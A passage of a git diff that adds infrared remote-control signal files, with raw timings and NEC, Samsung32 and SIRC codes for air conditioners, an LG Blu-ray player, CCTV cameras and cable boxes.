1252 435 415 1269 1250 436 1254 432 407 1277 413 1271 408 1277 413 1271 1259 428 412 1273 406 +# +name: Low +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1284 402 1278 408 442 1243 1287 399 1280 432 408 1251 439 1245 434 1250 440 1245 434 1276 1254 433 406 8146 1281 406 1284 429 410 1273 1257 430 1260 427 412 1271 408 1276 414 1271 408 1276 414 1271 1259 428 411 8141 1285 427 1252 435 415 1269 1261 426 1253 433 406 1278 412 1272 407 1277 413 1272 407 1277 1252 435 415 8137 1279 435 1255 431 408 1276 1254 433 1257 429 410 1274 416 1269 410 1274 416 1269 410 1274 1256 431 408 8144 1283 431 1259 427 412 1272 1258 429 1250 436 414 1270 409 1276 414 1270 409 1275 415 1270 1259 427 412 8140 1286 427 1252 434 416 1268 1251 436 1254 432 407 1277 413 1271 408 1276 414 1271 408 1276 1254 433 406 8146 1280 432 1258 429 410 1274 1256 430 1260 427 412 1271 408 1276 414 1271 408 1276 414 1271 1259 428 412 8140 1287 426 1253 433 407 1277 1253 434 1256 430 409 1275 415 1269 410 1248 442 1269 410 1274 1256 431 408 8143 1284 429 1250 436 414 1244 1286 426 1254 433 407 1278 412 1246 433 1277 413 1271 408 1250 1280 433 407 8145 1282 405 1285 427 413 1245 1285 402 1278 434 416 1243 436 1248 442 1242 438 1247 443 1241 1278 408 442 8136 1280 406 1284 402 438 1247 1283 403 1287 399 440 1244 435 1249 441 1244 435 1249 441 1244 1286 399 440 8138 1278 408 1282 431 408 1249 1281 432 1258 428 412 1246 434 1251 439 1245 434 1250 440 1245 1285 427 413 8139 1288 399 1280 405 434 1276 1254 432 1258 428 412 1273 406 1251 439 1245 434 1250 440 1245 1285 427 413 8139 1277 409 1281 431 408 1250 1280 432 1258 428 412 1272 407 1251 439 1245 434 1250 440 1245 1285 427 413 8139 1277 409 1281 405 434 1249 1281 405 1285 428 412 1246 433 1251 439 1245 434 1250 440 1245 1285 400 439 8139 1278 408 1282 431 408 1249 1281 432 1258 401 439 1246 434 1251 439 1245 434 1250 440 1245 1285 427 413 +# +name: Temp_up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1282 431 1259 427 413 1272 1258 428 1251 435 415 1270 409 1275 1255 431 408 1250 440 1245 434 1276 414 8139 1277 408 1282 431 408 1276 1254 432 1258 428 412 1273 407 1251 1279 433 417 1241 439 1272 407 1251 439 8139 1288 399 1281 431 408 1250 1280 432 1258 401 439 1246 434 1251 1279 406 434 1251 439 1245 434 1250 440 8138 1279 408 1282 404 435 1249 1281 431 1259 400 439 1245 434 1250 1280 406 434 1277 413 1245 434 1250 440 8138 1278 408 1282 404 435 1249 1281 404 1286 400 439 1245 434 1250 1280 432 407 1277 413 1244 435 1276 414 8137 1279 407 1283 402 438 1247 1283 403 1277 436 414 1244 435 1249 1281 405 434 1249 441 1244 435 1249 441 8137 1279 433 1257 429 410 1274 1256 429 1261 425 414 1270 409 1275 1255 431 408 1276 414 1270 409 1275 415 8137 1279 406 1284 429 410 1273 1257 430 1260 426 413 1270 409 1275 1255 432 407 1276 414 1270 409 1249 441 +# +name: Temp_down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1277 435 1255 431 408 1275 1255 431 1259 427 413 1271 1259 427 413 1271 408 1250 440 1244 435 1249 441 8136 1280 405 1285 427 413 1245 1285 427 1253 433 407 1277 1253 432 408 1250 440 1244 435 1249 441 1243 436 8140 1287 399 1281 405 434 1275 1255 431 1259 426 413 1244 1286 426 413 1244 435 1249 441 1243 436 1247 443 8134 1282 403 1276 435 415 1243 1276 435 1255 431 408 1249 1281 431 408 1275 415 1243 436 1248 442 1242 437 8138 1278 433 1257 402 438 1246 1284 428 1252 433 417 1267 1252 433 407 1250 440 1271 408 1249 441 1243 436 8139 1277 408 1282 430 409 1248 1282 430 1260 425 414 1270 1260 425 414 1243 436 1248 442 1242 437 1246 434 8142 1285 401 1279 433 407 1250 1280 432 1258 427 413 1245 1285 427 412 1271 408 1249 441 1243 436 1247 443 8132 1284 401 1279 433 407 1251 1279 432 1258 428 412 1271 1259 427 413 1244 435 1249 441 1243 436 1247 443 8132 1284 401 1279 433 407 1277 1253 432 1258 428 412 1245 1285 427 412 1244 435 1249 441 1243 436 1247 443 8132 1284 401 1279 433 407 1277 1253 432 1258 428 412 1245 1285 427 413 1271 408 1249 441 1243 436 1248 442 8134 1282 403 1276 435 415 1268 1251 434 1256 430 409 1274 1256 429 410 1274 416 1267 413 1271 408 1249 441 8135 1281 404 1286 426 413 1244 1286 426 1253 432 407 1276 1254 431 408 1276 414 1269 410 1248 442 1242 437 8138 1278 407 1283 429 411 1273 1257 428 1251 434 416 1267 1252 433 407 1277 413 1244 435 1249 440 1243 436 8139 1277 408 1282 429 410 1273 1257 429 1250 435 415 1269 1250 434 416 1242 438 1246 433 1250 440 1244 435 8139 1277 408 1282 403 436 1248 1282 403 1277 435 415 1243 1276 408 442 1242 437 1247 433 1251 439 1244 435 8140 1287 399 1280 431 408 1249 1281 431 1259 426 413 1244 1286 425 414 1243 436 1248 442 1242 438 1246 433 8141 1286 399 1281 431 408 1249 1281 430 1260 426 413 1244 1286 425 414 1243 436 1248 442 1241 439 1246 433 8141 1286 399 1281 405 434 1276 1254 431 1259 426 413 1271 1259 426 413 1244 435 1248 442 1242 437 1247 443 +# +name: Rotate +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1282 430 1260 427 412 1271 1259 427 1252 434 416 1268 411 1272 407 1277 1253 433 417 1267 412 1272 407 8144 1282 429 1250 436 414 1270 1260 426 1253 433 406 1277 413 1244 435 1276 1254 432 407 1276 414 1270 409 8142 1284 401 1278 434 416 1267 1252 434 1256 430 409 1247 443 1268 411 1272 1258 428 411 1273 406 1277 413 8138 1278 434 1256 430 409 1274 1256 430 1260 426 413 1270 409 1275 415 1269 1250 436 414 1270 409 1275 415 8136 1280 432 1258 428 411 1272 1258 428 1251 435 415 1268 411 1273 417 1267 1252 434 416 1268 411 1272 407 8144 1282 429 1261 426 413 1270 1260 426 1253 432 407 1276 414 1271 408 1275 1255 432 407 1276 414 1270 409 8142 1284 427 1252 434 416 1267 1252 434 1256 430 409 1274 416 1268 411 1273 1256 430 409 1274 416 1268 411 8140 1286 425 1254 432 407 1276 1254 432 1258 428 411 1272 407 1277 413 1271 1259 427 412 1272 407 1276 414 8137 1279 432 1258 429 410 1273 1257 429 1250 436 414 1243 436 1273 417 1268 1251 434 416 1268 411 1272 407 8143 1283 428 1251 434 416 1268 1251 434 1256 430 409 1274 416 1267 412 1272 1258 428 411 1272 407 1277 413 8137 1279 433 1257 429 410 1273 1257 428 1251 435 415 1268 411 1272 407 1277 1253 433 406 1277 413 1271 408 8142 1284 427 1252 434 416 1267 1252 433 1257 429 410 1273 417 1267 412 1271 1259 427 412 1271 408 1276 414 8136 1280 432 1258 429 410 1273 1257 429 1250 435 415 1268 411 1273 406 1277 1253 433 417 1267 412 1271 408 8142 1284 427 1252 434 416 1267 1252 434 1256 430 409 1273 417 1267 412 1272 1258 428 412 1272 407 1276 414 8136 1280 432 1258 428 412 1272 1258 428 1251 434 416 1267 412 1272 407 1250 1280 432 407 1277 413 1271 408 8142 1284 427 1252 433 406 1277 1253 433 1257 429 410 1273 417 1267 412 1271 1259 428 411 1272 407 1276 414 8136 1280 432 1258 428 412 1272 1258 428 1251 434 416 1267 412 1271 408 1276 1254 432 407 1276 414 1270 409 8141 1285 426 1253 432 407 1276 1254 432 1258 428 411 1272 407 1276 414 1270 1260 427 412 1271 408 1275 415 diff --git a/assets/resources/infrared/assets/ACs/Vornado.ir b/assets/resources/infrared/assets/ACs/Vornado.ir new file mode 100644 index 000000000..70997b08d --- /dev/null +++ b/assets/resources/infrared/assets/ACs/Vornado.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1347 405 1322 422 410 1332 1300 448 1289 480 383 1303 445 1298 439 1331 417 1299 438 1332 416 1302 1320 6834 1292 456 1292 450 413 1304 1328 445 1292 452 411 1302 446 1297 440 1303 445 1298 439 1303 445 1301 1321 6806 1320 453 1295 422 441 1301 1321 454 1294 422 441 1301 436 1305 443 1300 448 1295 442 1301 447 1298 1324 6802 1324 451 1297 420 443 1299 1323 424 1324 419 444 1298 439 1304 444 1298 439 1304 444 1299 438 1306 1326 6815 1321 453 1295 421 442 1302 1320 426 1322 421 442 1301 436 1306 442 1301 447 1296 441 1301 447 1299 1323 6802 1324 424 1324 418 445 1300 1322 424 1324 419 444 1298 439 1304 444 1299 438 1304 444 1299 438 1306 1326 6809 1328 420 1317 424 439 1306 1326 419 1318 424 439 1304 444 1299 438 1305 443 1299 438 1305 443 1302 1320 +# +name: Speed +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1321 456 1292 453 410 1334 1319 428 1288 454 409 1332 416 1353 384 1359 389 1354 383 1335 1297 476 387 7681 1329 474 1263 452 411 1304 1328 447 1290 479 384 1303 444 1299 438 1304 444 1300 437 1307 1325 473 390 7680 1320 455 1292 450 413 1303 1329 445 1292 451 412 1301 447 1296 441 1302 446 1297 440 1305 1327 445 418 7679 1321 479 1269 448 415 1301 1321 454 1294 422 441 1299 438 1305 443 1300 448 1295 442 1303 1319 454 409 7703 1328 445 1292 451 412 1304 1328 446 1291 424 439 1303 445 1297 440 1303 445 1298 439 1306 1326 419 444 7680 1320 454 1294 449 414 1302 1320 455 1293 422 441 1301 447 1296 441 1301 447 1296 441 1304 1328 417 436 7688 1322 452 1296 420 443 1300 1322 426 1322 420 443 1299 438 1304 444 1299 438 1304 444 1302 1320 425 438 7686 1324 450 1298 418 445 1298 1324 424 1324 418 445 1297 440 1302 446 1297 440 1302 445 1300 1321 451 412 7684 1326 448 1300 417 436 1306 1326 422 1326 416 437 1306 442 1300 448 1295 442 1301 447 1298 1324 422 441 7682 1328 446 1291 426 437 1305 1327 420 1317 425 438 1304 444 1299 438 1304 444 1299 438 1307 1325 420 443 +# +name: Timer +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1296 454 1294 422 441 1304 1318 427 1321 422 441 1302 446 1297 440 1305 1317 426 437 1306 442 1301 436 7690 1321 424 1324 419 444 1301 1321 424 1324 420 443 1299 438 1304 444 1302 1320 423 440 1302 446 1297 440 7686 1325 420 1317 426 437 1308 1324 420 1317 426 437 1305 443 1300 437 1308 1324 419 444 1298 439 1304 444 7682 1318 427 1321 422 441 1304 1318 427 1321 423 471 1271 466 1277 471 1274 1317 427 467 1275 472 1270 467 7675 1325 420 1317 426 468 1277 1324 421 1316 427 436 1306 442 1301 467 1278 1323 420 443 1300 437 1305 474 7653 1316 429 1319 425 438 1306 1326 420 1317 425 438 1305 443 1300 437 1308 1324 419 444 1298 439 1304 443 7682 1318 427 1321 423 440 1305 1317 428 1320 423 471 1272 465 1277 439 1306 1316 427 467 1276 440 1302 446 7680 1320 426 1322 421 473 1272 1318 426 1322 422 472 1270 467 1276 472 1273 1317 426 468 1274 474 1269 468 7658 1321 424 1324 420 464 1281 1320 425 1354 389 464 1279 469 1274 474 1272 1318 424 470 1273 464 1279 468 7657 1322 423 1325 418 466 1280 1352 392 1345 400 463 1278 469 1273 464 1281 1351 394 469 1271 466 1277 470 7656 1323 422 1315 427 467 1278 1344 401 1347 399 464 1276 471 1272 465 1280 1321 422 472 1270 467 1276 472 7654 1325 421 1316 426 437 1308 1324 421 1316 427 436 1307 441 1302 445 1299 1323 421 442 1300 468 1274 474 diff --git a/assets/resources/infrared/assets/ACs/Whynter_AC.ir b/assets/resources/infrared/assets/ACs/Whynter_AC.ir new file mode 100644 index 000000000..01c00ea61 --- /dev/null +++ b/assets/resources/infrared/assets/ACs/Whynter_AC.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: Power_on +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 782 708 2923 2885 777 2176 748 2232 775 2152 782 736 752 2176 779 711 777 2179 776 2178 746 2181 774 744 754 737 771 720 778 713 775 716 782 737 751 740 779 712 828 717 833 657 779 713 775 2180 775 716 782 2173 772 720 778 2177 778 713 775 2180 775 716 772 2183 751 740 748 2180 775 715 835 +# +name: Power_off +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 781 710 2930 2876 775 716 781 735 752 2175 779 711 776 2177 746 745 773 2232 753 2173 749 768 750 2177 745 745 773 743 754 737 750 741 746 744 754 737 771 746 751 739 748 2178 776 742 755 2172 771 719 778 2227 747 744 754 2200 754 737 750 2203 751 741 746 2181 773 744 753 737 750 741 746 +# +name: Auto +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 752 739 2922 2911 729 2173 780 2173 749 2204 750 742 755 2172 782 736 751 2229 745 2208 756 2172 771 746 751 740 747 744 753 738 749 742 776 741 746 746 751 739 748 744 774 2179 754 738 749 2206 747 743 754 2225 780 738 749 2178 775 716 781 2173 749 742 776 2179 754 737 750 742 776 742 745 +# +name: AC +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 753 739 2922 2910 720 2182 824 2182 751 2176 778 739 748 2179 775 2179 754 2173 781 2173 749 742 776 741 746 745 753 738 749 742 776 715 772 745 752 739 748 795 754 737 750 2203 751 741 746 2182 772 745 752 2176 778 739 748 2180 774 744 753 2174 748 743 775 2179 754 2200 754 764 775 742 756 +# +name: Humidifier +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 774 717 2923 2883 778 2175 747 2206 748 2180 753 738 770 2183 750 742 745 2208 808 2171 751 766 752 739 748 2179 775 742 755 736 751 740 747 744 753 737 771 747 750 741 746 2180 774 744 753 2174 780 712 775 2179 806 738 749 2205 749 742 745 2209 755 736 751 2177 777 2177 745 2208 756 736 751 +# +name: Fan +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 779 712 2928 2877 773 2180 753 739 748 2205 748 743 754 2199 755 736 751 2176 777 2229 755 735 752 2202 751 740 747 744 753 738 770 722 775 742 755 736 751 740 747 744 774 2179 754 738 770 2184 749 743 754 2199 754 737 802 2178 775 743 754 2173 749 742 776 742 755 736 751 740 747 745 752 +# +name: Fan_speed +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 755 710 2951 2859 781 2175 779 713 785 2172 771 721 776 2179 754 738 770 2159 784 2172 782 709 778 2231 754 738 780 712 775 717 780 711 776 743 755 738 780 711 776 716 781 2176 778 714 783 2174 780 712 775 2182 751 741 777 2179 754 790 801 2128 784 708 779 740 757 735 752 740 778 714 836 +# +name: Down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 775 718 2933 2878 773 2183 750 2179 775 2207 778 742 756 2172 782 2175 779 2150 783 737 750 743 775 743 755 764 723 743 755 738 749 743 776 744 754 739 748 744 754 739 779 2229 756 736 751 2178 776 744 754 2176 778 716 782 2174 780 740 747 2182 751 742 776 2179 754 2176 778 742 756 2174 780 +# +name: Up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 746 745 2927 2882 748 2180 774 2207 778 2202 752 740 747 2181 752 2229 725 2203 751 2204 729 736 772 747 751 741 746 745 753 739 748 743 776 742 756 736 751 740 747 745 805 2202 752 740 747 2181 773 746 752 2176 778 715 772 2182 772 720 777 2177 746 746 772 2182 751 2178 776 742 756 736 803 diff --git a/assets/resources/infrared/assets/ACs/Zenith_AC.ir b/assets/resources/infrared/assets/ACs/Zenith_AC.ir new file mode 100644 index 000000000..3961eecab --- /dev/null +++ b/assets/resources/infrared/assets/ACs/Zenith_AC.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 81 7E 00 00 +# +name: Temp_down +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 8A 75 00 00 +# +name: Temp_up +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 85 7A 00 00 +# +name: Fan_speed +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 99 66 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 9F 60 00 00 +# +name: Mode +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 9B 64 00 00 +# +name: Energy_saver +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 82 7D 00 00 diff --git a/assets/resources/infrared/assets/BluRay/LG_BlueRay.ir b/assets/resources/infrared/assets/BluRay/LG_BlueRay.ir new file mode 100644 index 000000000..83687a837 --- /dev/null +++ b/assets/resources/infrared/assets/BluRay/LG_BlueRay.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 30 00 00 00 +# +name: Eject +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 36 00 00 00 +# +name: Pause +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 38 00 00 00 +# +name: Play +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 31 00 00 00 +# +name: Stop +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 39 00 00 00 +# +name: Forward +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 33 00 00 00 +# +name: Backward +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 32 00 00 00 +# +name: Chptr_next +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 34 00 00 00 +# +name: Chpter_back +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 35 00 00 00 +# +name: Title_popup +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 4A 00 00 00 +# +name: Info_menu +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 3A 00 00 00 +# +name: Home +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 67 00 00 00 +# +name: Up +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 47 00 00 00 +# +name: Down +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 48 00 00 00 +# +name: Left +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 59 00 00 00 +# +name: Right +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 5A 00 00 00 +# +name: Enter +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 58 00 00 00 +# +name: Disc_menu +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 4B 00 00 00 diff --git a/assets/resources/infrared/assets/CCTV/Cv610_remote.ir b/assets/resources/infrared/assets/CCTV/Cv610_remote.ir new file mode 100644 index 000000000..82964133d --- /dev/null +++ b/assets/resources/infrared/assets/CCTV/Cv610_remote.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 1B 00 00 00 +# +name: Pan_up +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 05 00 00 00 +# +name: Pan_down +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 0D 00 00 00 +# +name: Pan_right +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 0A 00 00 00 +# +name: Pan_left +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 08 00 00 00 +# +name: Zoom_in +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 41 00 00 00 +# +name: Zoom_out +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 1E 00 00 00 +# +name: Menu +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 43 00 00 00 +# +name: 1 +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 0C 00 00 00 +# +name: 2 +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 0E 00 00 00 +# +name: 4 +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 10 00 00 00 +# +name: 5 +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 12 00 00 00 +# +name: 7 +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 14 00 00 00 +# +name: 8 +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 19 00 00 00 +# +name: 9 +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 16 00 00 00 +# +name: 0 +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 1D 00 00 00 diff --git a/assets/resources/infrared/assets/CCTV/Szxlcom_cams.ir b/assets/resources/infrared/assets/CCTV/Szxlcom_cams.ir new file mode 100644 index 000000000..df3e12e73 --- /dev/null +++ b/assets/resources/infrared/assets/CCTV/Szxlcom_cams.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: SIRC15 +address: D4 00 00 00 +command: 15 00 00 00 +# +name: Pan_up +type: parsed +protocol: SIRC20 +address: 3A 0A 00 00 +command: 1A 00 00 00 +# +name: Pan_down +type: parsed +protocol: SIRC20 +address: 3A 0A 00 00 +command: 1B 00 00 00 +# +name: Pan_left +type: parsed +protocol: SIRC20 +address: 3A 0A 00 00 +command: 1D 00 00 00 +# +name: Pan_right +type: parsed +protocol: SIRC20 +address: 3A 0A 00 00 +command: 1C 00 00 00 +# +name: Zoom_in_slw +type: parsed +protocol: SIRC15 +address: D4 00 00 00 +command: 1A 00 00 00 +# +name: Zoom_out_slow +type: parsed +protocol: SIRC15 +address: D4 00 00 00 +command: 1B 00 00 00 +# +name: Zoom_in_fast +type: parsed +protocol: SIRC15 +address: D4 00 00 00 +command: 1C 00 00 00 +# +name: Zoom_out_fast +type: parsed +protocol: SIRC15 +address: D4 00 00 00 +command: 1D 00 00 00 +# +name: Focus_far +type: parsed +protocol: SIRC15 +address: D4 00 00 00 +command: 22 00 00 00 +# +name: Focus_near +type: parsed +protocol: SIRC15 +address: D4 00 00 00 +command: 23 00 00 00 +# +name: Auto_focus +type: parsed +protocol: SIRC15 +address: D4 00 00 00 +command: 1E 00 00 00 +# +name: Menu +type: parsed +protocol: SIRC20 +address: 3A 0A 00 00 +command: 14 00 00 00 diff --git a/assets/resources/infrared/assets/Cable Boxes/Amino_amigo.ir b/assets/resources/infrared/assets/Cable Boxes/Amino_amigo.ir new file mode 100644 index 000000000..3bcdc1fd9 --- /dev/null +++ b/assets/resources/infrared/assets/Cable Boxes/Amino_amigo.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2677 903 422 466 421 467 430 901 424 880 1374 902 423 464 423 465 422 466 421 467 430 457 430 458 867 909 426 462 425 463 424 464 871 460 427 461 426 462 425 907 867 465 422 910 874 458 429 902 423 465 422 466 431 457 430 458 867 465 422 909 427 462 425 +# +name: Home +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2675 905 420 467 430 458 429 903 422 909 1345 904 421 466 431 457 430 458 429 459 428 460 427 462 873 902 423 465 422 466 421 467 869 463 424 464 423 909 426 461 874 458 429 903 871 461 426 906 429 459 428 460 427 461 874 458 429 875 450 465 422 467 430 +# +name: Info +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2673 907 428 460 427 461 426 906 429 875 1368 907 428 459 428 461 426 462 425 463 424 464 423 465 870 905 430 458 429 459 428 460 875 457 430 430 457 459 428 904 870 463 424 907 867 466 431 900 425 464 423 465 422 466 421 467 868 464 423 465 422 466 421 +# +name: Apps +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2676 877 448 467 430 458 429 903 422 909 1345 904 421 467 430 458 429 459 428 460 427 461 426 462 873 903 422 466 421 467 430 458 867 465 422 466 421 911 424 463 872 460 427 905 869 463 424 908 427 461 874 901 873 903 871 906 429 458 428 +# +name: Guide +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2678 902 423 464 423 465 422 883 453 879 1365 911 424 463 424 436 451 465 422 466 421 467 430 458 867 880 456 460 427 461 426 462 873 431 456 460 427 461 426 878 896 436 451 881 893 439 458 874 451 436 900 905 431 457 868 436 451 881 455 461 426 +# +name: Up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2676 904 422 466 421 467 430 901 424 880 1375 873 453 463 424 464 423 437 450 438 449 439 458 457 868 907 429 459 428 460 427 433 893 467 430 457 430 874 452 437 899 460 427 877 897 463 424 880 456 432 894 910 875 429 458 874 451 464 423 465 422 +# +name: Left +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2676 904 421 466 421 467 430 901 424 908 1347 901 424 463 424 464 423 465 422 466 421 466 421 439 897 907 429 459 428 460 427 433 892 467 430 430 457 458 429 875 899 461 426 906 868 463 424 880 456 432 894 910 875 457 430 874 900 904 421 69083 2677 904 421 466 421 467 430 901 424 907 1348 901 424 463 424 464 423 437 450 465 422 466 421 467 869 879 457 459 428 460 427 461 864 439 458 430 457 431 456 876 898 461 426 878 896 436 451 908 428 460 865 911 874 430 457 903 871 877 448 69084 2676 904 421 466 421 467 430 874 451 880 1375 901 424 463 424 436 451 437 450 466 421 467 430 457 868 908 428 432 455 460 427 461 875 457 430 458 429 431 456 876 898 433 454 906 868 436 451 880 456 460 865 883 902 458 429 875 899 904 422 +# +name: Ok +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2669 911 425 463 424 436 451 908 428 876 1368 908 428 460 427 461 426 462 425 462 425 463 424 464 872 876 449 467 430 429 458 458 867 464 423 465 422 910 426 462 874 458 429 875 899 433 454 878 458 457 868 880 894 466 421 466 431 873 452 435 452 69081 2675 905 420 467 430 457 430 874 451 909 1346 902 423 464 423 465 422 466 421 467 430 457 430 430 895 881 455 460 427 433 454 462 874 458 429 459 428 876 449 466 870 434 453 907 867 465 422 882 454 462 874 902 872 459 428 460 427 905 431 429 458 69075 2671 909 427 461 426 434 453 879 457 875 1369 879 457 458 429 432 455 432 455 433 454 434 453 462 874 902 423 437 450 438 449 439 897 462 425 463 424 881 455 460 865 467 430 873 901 459 428 876 449 466 870 906 868 464 423 465 422 882 454 434 453 +# +name: Right +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2677 904 421 466 421 467 430 901 424 908 1346 873 452 436 451 437 450 465 422 466 421 439 458 457 868 880 456 432 455 461 426 462 874 458 429 459 428 432 455 877 897 435 452 879 895 465 422 882 454 462 874 902 872 432 455 877 897 462 425 69524 2669 911 425 463 424 463 424 880 456 904 1340 880 456 460 427 433 454 462 425 435 452 463 424 464 872 877 448 439 458 457 430 430 895 465 422 438 449 466 431 901 873 431 456 903 871 461 426 906 430 430 895 909 865 466 431 901 873 459 428 69520 2673 907 429 459 428 460 427 877 459 873 1371 905 431 429 458 458 429 459 428 460 427 461 426 461 875 902 423 436 451 465 422 438 898 462 425 463 424 464 423 908 866 439 458 901 873 459 428 904 421 466 870 906 868 464 423 909 865 466 421 +# +name: Down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2678 902 423 464 423 465 422 882 454 906 1338 910 426 462 425 463 424 464 423 465 422 438 449 467 869 907 429 459 428 460 427 461 875 457 430 458 429 875 450 466 870 462 425 907 867 437 450 882 454 434 902 902 872 460 427 877 459 457 868 +# +name: Back +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2673 907 429 459 428 460 427 905 420 911 1343 905 431 457 430 458 429 459 428 460 427 461 426 462 874 902 423 464 423 465 422 466 870 435 452 463 424 464 423 881 893 467 430 901 873 459 428 904 421 467 430 457 430 430 457 459 428 460 427 433 903 457 430 diff --git a/assets/resources/infrared/assets/Cable Boxes/Direct_tv.ir b/assets/resources/infrared/assets/Cable Boxes/Direct_tv.ir new file mode 100644 index 000000000..c8098b59c --- /dev/null +++ b/assets/resources/infrared/assets/Cable Boxes/Direct_tv.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: Power_on +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 177 7806 174 1352 177 2284 181 2311 175 2318 179 5309 174 2319 178 2316 181 3809 176 3815 180 6803 178 2315 182 6801 180 3809 176 8324 176 7804 177 3813 172 2321 176 2318 179 5308 175 2318 179 2315 182 3808 177 3813 182 6801 180 2313 173 6809 172 3818 177 8322 178 7802 178 3811 174 2320 177 2316 181 5306 177 2316 181 2313 173 3817 178 3811 174 6809 172 2321 176 6807 175 3815 180 +# +name: Power_off +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 182 7800 180 3810 201 2291 180 2316 181 5306 177 2316 181 2313 173 3818 177 2313 173 2322 175 6808 173 2320 177 6807 174 11315 182 7801 179 3811 174 2319 178 2316 181 5306 177 2316 181 2313 173 3817 178 2315 182 2312 174 6809 172 2321 176 18297 181 7801 179 3810 175 2319 178 2316 181 7800 180 2313 173 6311 181 2312 174 9303 175 +# +name: Guide +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 175 7808 172 3818 177 2316 180 2313 173 6810 181 2312 174 3817 178 3811 173 6807 174 2321 176 2319 178 5308 175 3816 179 8320 180 7800 180 3810 174 2319 178 2316 180 9296 182 3808 177 3814 181 9296 172 2321 176 5311 182 3808 176 8322 178 7803 177 3812 172 2321 176 2318 179 6805 176 2317 179 3810 175 3815 180 6803 178 2316 180 2313 173 5313 180 3810 175 8324 176 7805 175 3814 181 2313 173 2320 177 6806 175 2318 179 3812 172 3817 178 6805 176 2317 180 2314 182 5304 179 3811 173 8326 174 7806 174 3816 179 2315 182 2312 174 6809 172 2321 176 3815 180 3810 174 9302 176 2317 179 5307 176 3814 181 8318 182 7798 182 3809 176 2317 179 2315 181 9295 173 3817 178 3812 172 9304 174 2319 178 5309 174 3816 179 +# +name: Exit +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 173 7807 173 8807 172 16321 181 4291 172 9803 175 2301 175 13811 172 7810 181 8797 182 